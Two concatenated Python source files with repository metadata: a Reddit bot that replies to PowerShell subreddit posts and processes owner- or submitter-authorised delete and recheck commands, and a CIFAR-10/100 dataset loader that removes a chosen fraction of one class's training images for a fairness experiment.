import os import time import logging from pathlib import Path import re import praw, prawcore from reddit import reddit import db_services from regex_checks import TopicFlags, ExtraFlags, match_control from messages import get_message from powershell_bot import register script_path = Path(__file__).resolve() os.chdir(script_path.parent) logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) #logger.addHandler(logging.StreamHandler()) #logger.disabled = True log_file = script_path.parent / 'log' / 'powershell_bot.log' if log_file.parent.is_dir(): log_format = '%(asctime)s %(levelname)s %(funcName)s:%(lineno)d | %(message)s' rfh_config = { 'filename': log_file, 'encoding': 'utf-8', 'maxBytes': 5*1024*1024, # 5 megabytes 'backupCount': 8 } rfh = logging.handlers.RotatingFileHandler(**rfh_config) rfh.setFormatter(logging.Formatter(log_format)) logger.addHandler(rfh) logger.info('Log ({}): {}'.format(logger.name, log_file.absolute())) delete_command_pattern = r'^!delete(?: |\+)+(?:(t1)_)?([a-z0-9]{1,12})$' delete_regexp = re.compile(delete_command_pattern, re.I) recheck_command_pattern = r'^!recheck +(?:(t[1-6])_)?([a-z0-9]{1,12})$' recheck_regexp = re.compile(recheck_command_pattern, re.I) ignore_inbox_items_older_than = 60 * 2 # 2 minutes me = reddit.user.me() if me is None: raise RuntimeError('user authentication required') trustees = [i.lower() for i in (register['owner'], me.name)] def process_subsmission(submission): if not submission.is_self: logger.info('Skip: link submission: {}'.format(submission.permalink)) return # Rough check to see if bot hasn't replied already submission.comments.replace_more(limit=0) if any(1 for comment in submission.comments if comment.author == me): logger.warning('Skip: already replied to: {}'.format(submission.permalink)) return match_control.check_all(submission.selftext) b = match_control[TopicFlags] y = match_control[ExtraFlags] if b == 0: logger.info('Skip: no match: {}'.format(submission.permalink)) return logger.info('Process submission: {}'.format(submission.permalink)) message_kwargs = { 'topic_flags': b, 'signature': 1, 'pester': True, 'passed': False, 'some': bool(y & ExtraFlags.contains_code_block), 'thing_kind': type(submission).__name__, 'redditor': submission.author.name, 'old_reddit_permalink': 'https://old.reddit.com' + submission.permalink, 'new_reddit_permalink': 'https://new.reddit.com' + submission.permalink } message = get_message(**message_kwargs) reply = submission.reply(message) message_kwargs.update({ 'signature': 2, 'bot_name': me.name, 'reply_id': reply.id }) message = get_message(**message_kwargs) reply.edit(message) db_services.record_submission_reply(submission, reply, b, y) def process_inbox_item(item): logger.info('[Inbox] Process: inbox item, deletion request (from /u/{}): t4_{}'.format(item.author.name, item.id)) if item.was_comment: logger.info('[Inbox] Skip: ignore non-message item: t1_{}'.format(item.id)) return if time.time() - item.created_utc > ignore_inbox_items_older_than: logger.info('[Inbox] Skip: {0} is older than {1} seconds'.format(type(item).__name__, ignore_inbox_items_older_than)) return delete_match = delete_regexp.match(item.subject) recheck_match = recheck_regexp.match(item.subject) if not (delete_match or recheck_match): logger.info('[Inbox] Skip: no match (subject line): t4_{}'.format(item.id)) return item.mark_read() if delete_match: thing_kind = delete_match.group(1) comment_id = delete_match.group(2) logger.info('[Inbox] Info: deletion request (from /u/{}): "t1_{}"'.format(item.author.name, comment_id)) if thing_kind is not None: if thing_kind != 't1': logger.info(f"[Inbox] Skip: not the kind we're looking for: {thing_kind}_{comment_id}") return target_id = db_services.get_target_id(comment_id) if target_id is None: logger.warning('[Inbox] Warning: could not resolve target_id "{}" from comment: t1_{}'.format(target_id, comment_id)) comment = reddit.comment(comment_id) try: comment.refresh() except praw.exceptions.PRAWException: logger.info('[Inbox] Skip: not found: t1_{}'.format(comment_id)) return by_authority = item.author.name.lower() in trustees if by_authority: comment.delete() if target_id is not None: db_services.assign_is_set_0(target_id) logger.info('[Inbox] Success: force delete: {}-{}'.format(target_id, comment_id)) return if target_id is None: logger.warning('[Inbox] Skip: cannot resolve author_name from null target_id: {}-{}'.format(target_id, comment_id)) return author_name = db_services.get_author_name(target_id) if author_name is None: logger.warning('[Inbox] Skip: could not resolve author_name from target_id: {}-{}'.format(target_id, comment_id)) return if comment.author != me: logger.info('[Inbox] Skip: not owned: {}-{}'.format(target_id, comment_id)) return by_submitter = item.author.name.lower() == author_name.lower() if not by_submitter: logger.info('[Inbox] Skip: delete not permitted: {}-{}'.format(target_id, comment_id)) return if len(comment.replies): logger.info('[Inbox] Skip: has replies: {}-{}'.format(target_id, comment_id)) return if not db_services.is_deletable(comment_id): logger.info('[Inbox] Skip: not deletable: {}-{}'.format(target_id, comment_id)) return comment.delete() db_services.assign_is_set_0(target_id) db_services.assign_is_ignored_1(target_id) logger.info('[Inbox] Success: deleted: {}-{}'.format(target_id, comment_id)) elif recheck_match: logger.info('[Inbox] Process: inbox item, recheck request (from /u/{}): t4_{}'.format(item.author.name, item.id)) by_authority = item.author.name.lower() in trustees if not by_authority: logger.info('[Inbox] Skip: unauthorised: t4_{}'.format(item.id)) return thing_kind = recheck_match.group(1) thing_id = recheck_match.group(2) if thing_kind is None: logger.info('[Inbox] Skip: thing_kind was not specified: {thing_kind}_{thing_id}') return if thing_kind != 't3': logger.info(f"[Inbox] Skip: not the kind we're looking for: {thing_kind}_{thing_id}") return submission = reddit.submission(thing_id) try: submission._fetch() except prawcore.exceptions.NotFound: logger.warning('Skip: submission ID not found: t3_{}'.format(thing_id)) db_services.assign_is_set_0(thing_id) return process_subsmission(submission)

30.97619

120

0.725749

4a07e87c0d7748807e21b23b77e5c528c9d2598f

7,839

py

Python

dataset/cifar10_rmlabel.py

blackcow/Fair-AT

62fc269fedd4b63c4b48ae390d494b3832e65fa8

[ "Apache-2.0" ]

null

dataset/cifar10_rmlabel.py

blackcow/Fair-AT

62fc269fedd4b63c4b48ae390d494b3832e65fa8

[ "Apache-2.0" ]

null

dataset/cifar10_rmlabel.py

blackcow/Fair-AT

62fc269fedd4b63c4b48ae390d494b3832e65fa8

[ "Apache-2.0" ]

null

""" 对 training load data 改写按比例删除某 label 下的数据 """ from __future__ import print_function from PIL import Image import os import os.path import numpy as np import sys if sys.version_info[0] == 2: import cPickle as pickle else: import pickle import torch.utils.data as data from torchvision.datasets.utils import download_url, check_integrity # My import import argparse class CIFAR10RM(data.Dataset): """`CIFAR10 <https://www.cs.toronto.edu/~kriz/cifar.html>`_ Dataset. Args: root (string): Root directory of dataset where directory ``cifar-10-batches-py`` exists or will be saved to if download is set to True. train (bool, optional): If True, creates dataset from training set, otherwise creates from test set. transform (callable, optional): A function/transform that takes in an PIL image and returns a transformed version. E.g, ``transforms.RandomCrop`` target_transform (callable, optional): A function/transform that takes in the target and transforms it. download (bool, optional): If true, downloads the dataset from the internet and puts it in root directory. If dataset is already downloaded, it is not downloaded again. """ base_folder = 'cifar-10-batches-py' url = "https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz" filename = "cifar-10-python.tar.gz" tgz_md5 = 'c58f30108f718f92721af3b95e74349a' train_list = [ ['data_batch_1', 'c99cafc152244af753f735de768cd75f'], ['data_batch_2', 'd4bba439e000b95fd0a9bffe97cbabec'], ['data_batch_3', '54ebc095f3ab1f0389bbae665268c751'], ['data_batch_4', '634d18415352ddfa80567beed471001a'], ['data_batch_5', '482c414d41f54cd18b22e5b47cb7c3cb'], ] test_list = [ ['test_batch', '40351d587109b95175f43aff81a1287e'], ] meta = { 'filename': 'batches.meta', 'key': 'label_names', 'md5': '5ff9c542aee3614f3951f8cda6e48888', } def __init__(self, root, args, train=True, transform=None, target_transform=None, download=False): self.root = os.path.expanduser(root) self.transform = transform self.target_transform = target_transform self.train = train # training set or test set self.args = args if download: self.download() if not self._check_integrity(): raise RuntimeError('Dataset not found or corrupted.' + ' You can use download=True to download it') if self.train: downloaded_list = self.train_list else: downloaded_list = self.test_list self.data = [] self.targets = [] # now load the picked numpy arrays for file_name, checksum in downloaded_list: file_path = os.path.join(self.root, self.base_folder, file_name) with open(file_path, 'rb') as f: if sys.version_info[0] == 2: entry = pickle.load(f) else: entry = pickle.load(f, encoding='latin1') self.data.append(entry['data']) if 'labels' in entry: self.targets.extend(entry['labels']) else: self.targets.extend(entry['fine_labels']) self.data = np.vstack(self.data).reshape(-1, 3, 32, 32) self.data = self.data.transpose((0, 2, 3, 1)) # convert to HWC # 对 label 排序（0-9），list sorted_nums = sorted(enumerate(self.targets), key=lambda x: x[1]) idx = [i[0] for i in sorted_nums] self.targets = [i[1] for i in sorted_nums] # 对 data 排序，ndarry self.data = self.data[idx] # 确定删除元素的位置(每 5k 为 1 个 label) label_idx = self.args.rmlabel percent = self.args.percent start = label_idx * 5000 end = int(start + 5000*percent) print('start:', start) print('end:', end) rm = np.arange(start, end, 1) # 删除元素，label 和 data # self.targets1 = np.delete(self.targets, rm) self.data = np.delete(self.data, rm, axis=0) del self.targets[start:end] self._load_meta() # # 打印图片 # import matplotlib.pyplot as plt # i = 9000 # label = self.targets[i] # img = self.data[i] # plt.imshow(img) # plt.show() # test = 0 def _load_meta(self): path = os.path.join(self.root, self.base_folder, self.meta['filename']) if not check_integrity(path, self.meta['md5']): raise RuntimeError('Dataset metadata file not found or corrupted.' + ' You can use download=True to download it') with open(path, 'rb') as infile: if sys.version_info[0] == 2: data = pickle.load(infile) else: data = pickle.load(infile, encoding='latin1') self.classes = data[self.meta['key']] self.class_to_idx = {_class: i for i, _class in enumerate(self.classes)} print() def __getitem__(self, index): """ Args: index (int): Index Returns: tuple: (image, target) where target is index of the target class. """ img, target = self.data[index], self.targets[index] # doing this so that it is consistent with all other datasets # to return a PIL Image img = Image.fromarray(img) if self.transform is not None: img = self.transform(img) if self.target_transform is not None: target = self.target_transform(target) return img, target def __len__(self): return len(self.data) def _check_integrity(self): root = self.root for fentry in (self.train_list + self.test_list): filename, md5 = fentry[0], fentry[1] fpath = os.path.join(root, self.base_folder, filename) if not check_integrity(fpath, md5): return False return True def download(self): import tarfile if self._check_integrity(): print('Files already downloaded and verified') return download_url(self.url, self.root, self.filename, self.tgz_md5) # extract file with tarfile.open(os.path.join(self.root, self.filename), "r:gz") as tar: tar.extractall(path=self.root) def __repr__(self): fmt_str = 'Dataset ' + self.__class__.__name__ + '\n' fmt_str += ' Number of datapoints: {}\n'.format(self.__len__()) tmp = 'train' if self.train is True else 'test' fmt_str += ' Split: {}\n'.format(tmp) fmt_str += ' Root Location: {}\n'.format(self.root) tmp = ' Transforms (if any): ' fmt_str += '{0}{1}\n'.format(tmp, self.transform.__repr__().replace('\n', '\n' + ' ' * len(tmp))) tmp = ' Target Transforms (if any): ' fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\n', '\n' + ' ' * len(tmp))) return fmt_str class CIFAR100RM(CIFAR10RM): """`CIFAR100 <https://www.cs.toronto.edu/~kriz/cifar.html>`_ Dataset. This is a subclass of the `CIFAR10` Dataset. """ base_folder = 'cifar-100-python' url = "https://www.cs.toronto.edu/~kriz/cifar-100-python.tar.gz" filename = "cifar-100-python.tar.gz" tgz_md5 = 'eb9058c3a382ffc7106e4002c42a8d85' train_list = [ ['train', '16019d7e3df5f24257cddd939b257f8d'], ] test_list = [ ['test', 'f0ef6b0ae62326f3e7ffdfab6717acfc'], ] meta = { 'filename': 'meta', 'key': 'fine_label_names', 'md5': '7973b15100ade9c7d40fb424638fde48', }

34.685841

110

0.589871